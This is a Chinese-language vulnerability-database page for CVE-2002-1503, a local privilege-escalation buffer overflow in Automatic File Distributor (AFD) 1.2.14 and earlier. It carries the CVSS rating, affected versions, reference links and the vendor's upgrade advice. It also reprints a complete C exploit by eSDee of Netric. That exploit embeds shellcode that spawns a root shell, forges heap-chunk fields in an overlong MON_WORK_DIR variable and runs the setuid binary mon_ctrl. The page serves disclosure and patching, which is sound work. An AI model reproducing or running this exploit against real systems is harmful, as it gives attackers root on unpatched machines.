CVE-2002-1503
CVSS7.2
发布时间 :2003-04-02 00:00:00
修订时间 :2008-09-05 16:30:46
NMCOES    

[原文]Buffer overflow in Automatic File Distributor (AFD) 1.2.14 and earlier allows local users to gain privileges via a long MON_WORK_DIR environment variable or -w (workdir) argument to (1) afd, (2) afdcmd, (3) afd_ctrl, (4) init_afd, (5) mafd, (6) mon_ctrl, (7) show_olog, or (8) udc.


[CNNVD]多个AFD工作目录本地缓冲区溢出漏洞(CNNVD-200304-023)

        Automatic File Distributor (AFD) 1.2.14及其之前版本存在缓冲区溢出漏洞。本地用户借助超长MON_WORK_DIR环境变量或者(1)afd,(2) afdcmd,(3)afd_ctrl,(4)init_afd,(5)mafd,(6)mon_ctrl,(7)show_olog,或者(8)udc的-w (workdir)参数提升特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:afd:afd:1.2
cpe:/a:afd:afd:1.2.4
cpe:/a:afd:afd:1.2.1
cpe:/a:afd:afd:1.2.13
cpe:/a:afd:afd:1.2.11
cpe:/a:afd:afd:1.2.7
cpe:/a:afd:afd:1.2.3
cpe:/a:afd:afd:1.2.10
cpe:/a:afd:afd:1.2.6
cpe:/a:afd:afd:1.2.2
cpe:/a:afd:afd:1.2.14
cpe:/a:afd:afd:1.2.9
cpe:/a:afd:afd:1.2.5
cpe:/a:afd:afd:1.2.12
cpe:/a:afd:afd:1.2.8

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1503
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1503
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200304-023
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/5626
(VENDOR_ADVISORY)  BID  5626
http://www.iss.net/security_center/static/10036.php
(VENDOR_ADVISORY)  XF  afd-multiple-binaries-bo(10036)
http://archives.neohapsis.com/archives/bugtraq/2002-09/0029.html
(VENDOR_ADVISORY)  BUGTRAQ  20020904 AFD 1.2.14 multiple local root compromises
http://www.dwd.de/AFD/txt/CHANGES
(UNKNOWN)  CONFIRM  http://www.dwd.de/AFD/txt/CHANGES

- 漏洞信息

多个AFD工作目录本地缓冲区溢出漏洞
高危 缓冲区溢出
2003-04-02 00:00:00 2005-10-20 00:00:00
本地  
        Automatic File Distributor (AFD) 1.2.14及其之前版本存在缓冲区溢出漏洞。本地用户借助超长MON_WORK_DIR环境变量或者(1)afd,(2) afdcmd,(3)afd_ctrl,(4)init_afd,(5)mafd,(6)mon_ctrl,(7)show_olog,或者(8)udc的-w (workdir)参数提升特权。

- 公告与补丁

        The vendor has addressed this issue in AFD versions 1.2.15 and later. Those affected by this vulnerability are advised to upgrade.
        AFD AFD 1.2
        
        AFD AFD 1.2.1
        
        AFD AFD 1.2.10
        
        AFD AFD 1.2.11
        
        AFD AFD 1.2.12
        
        AFD AFD 1.2.13
        
        AFD AFD 1.2.14
        
        AFD AFD 1.2.2
        
        AFD AFD 1.2.3
        
        AFD AFD 1.2.4
        
        AFD AFD 1.2.5
        
        AFD AFD 1.2.6
        
        AFD AFD 1.2.7
        
        AFD AFD 1.2.8
        
        AFD AFD 1.2.9
        

- 漏洞信息 (21771)

AFD 1.2.x Working Directory Local Buffer Overflow Vulnerabilities (EDBID:21771)
unix local
2002-09-04 Verified
0 eSDee
N/A [点击下载]
source: http://www.securityfocus.com/bid/5626/info

AFD (Automatic File Distributor) is prone to a number of locally exploitable stack and heap based buffer overflow conditions. These issues are all related to insufficient bounds checking of externally supplied values for the working directory, either via the command line or through an environment variable.

A number of the vulnerable AFD binaries are installed setuid root and may potentially be exploited by a local attacker to execute arbitrary code as root. 

	#include <stdio.h>
	#include <stdlib.h>
	#include <string.h>

	char shellcode[] =
        "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
        "--netric--"
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
        "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
        "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

	int
	main(int argc, char *argv[])
	{
		char buffer[1135];

		unsigned int retloc     = 0xbfffe360;
		unsigned int ret        = 0x0806f020; /* &shellcode */

		if (argc > 1) retloc	= strtoul(argv[1], &argv[1], 16);
		if (argc > 2) ret	= strtoul(argv[2], &argv[2], 16);

		memset(buffer, 0x41, sizeof(buffer));
		memcpy(buffer, "MON_WORK_DIR=",13);
		memcpy(buffer+13, shellcode, strlen(shellcode));

		buffer[1117] = 0xff; /* prev_size */
		buffer[1118] = 0xff;
		buffer[1119] = 0xff;
		buffer[1120] = 0xff;

		buffer[1121] = 0xfc; /* size field */
		buffer[1122] = 0xff;
		buffer[1123] = 0xff;
		buffer[1124] = 0xff;

		buffer[1126] = (retloc & 0x000000ff); /* FD */
		buffer[1127] = (retloc & 0x0000ff00) >> 8;
		buffer[1128] = (retloc & 0x00ff0000) >> 16;
		buffer[1129] = (retloc & 0xff000000) >> 24;

		buffer[1130] = (ret & 0x000000ff); /* BK */
		buffer[1131] = (ret & 0x0000ff00) >> 8;
		buffer[1132] = (ret & 0x00ff0000) >> 16;
		buffer[1133] = (ret & 0xff000000) >> 24;

		buffer[1134] = 0x0;
		putenv(buffer);

		fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
		fprintf(stdout, "-----------------------------------------------------------------\n");
		fprintf(stdout, "Ret    = 0x%08x\n", ret);
		fprintf(stdout, "Retloc = 0x%08x\n", retloc);

		execl("/bin/mon_ctrl", "mon_ctrl", NULL);
		return 0;
	}

		

- 漏洞信息

14542
Automatic File Distributor (AFD) afd MON_WORK_DIR Environment Variable Local Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

- 时间线

2002-09-04 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Multiple AFD Working Directory Local Buffer Overflow Vulnerabilities
Boundary Condition Error 5626
No Yes
2002-09-04 12:00:00 2009-07-11 03:56:00
Discovery of this issue is credited to the Netric Security Team.

- 受影响的程序版本

AFD AFD 1.2.14
AFD AFD 1.2.13
AFD AFD 1.2.12
AFD AFD 1.2.11
AFD AFD 1.2.10
AFD AFD 1.2.9
AFD AFD 1.2.8
AFD AFD 1.2.7
AFD AFD 1.2.6
AFD AFD 1.2.5
AFD AFD 1.2.4
AFD AFD 1.2.3
AFD AFD 1.2.2
AFD AFD 1.2.1
AFD AFD 1.2
AFD AFD 1.2.15

- 不受影响的程序版本

AFD AFD 1.2.15

- 漏洞讨论

AFD (Automatic File Distributor) is prone to a number of locally exploitable stack and heap based buffer overflow conditions. These issues are all related to insufficient bounds checking of externally supplied values for the working directory, either via the command line or through an environment variable.

A number of the vulnerable AFD binaries are installed setuid root and may potentially be exploited by a local attacker to execute arbitrary code as root.

- 漏洞利用

The following exploit was provided by eSDee of Netric:

- 解决方案

The vendor has addressed this issue in AFD versions 1.2.15 and later. Those affected by this vulnerability are advised to upgrade.


AFD AFD 1.2

AFD AFD 1.2.1

AFD AFD 1.2.10

AFD AFD 1.2.11

AFD AFD 1.2.12

AFD AFD 1.2.13

AFD AFD 1.2.14

AFD AFD 1.2.2

AFD AFD 1.2.3

AFD AFD 1.2.4

AFD AFD 1.2.5

AFD AFD 1.2.6

AFD AFD 1.2.7

AFD AFD 1.2.8

AFD AFD 1.2.9

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站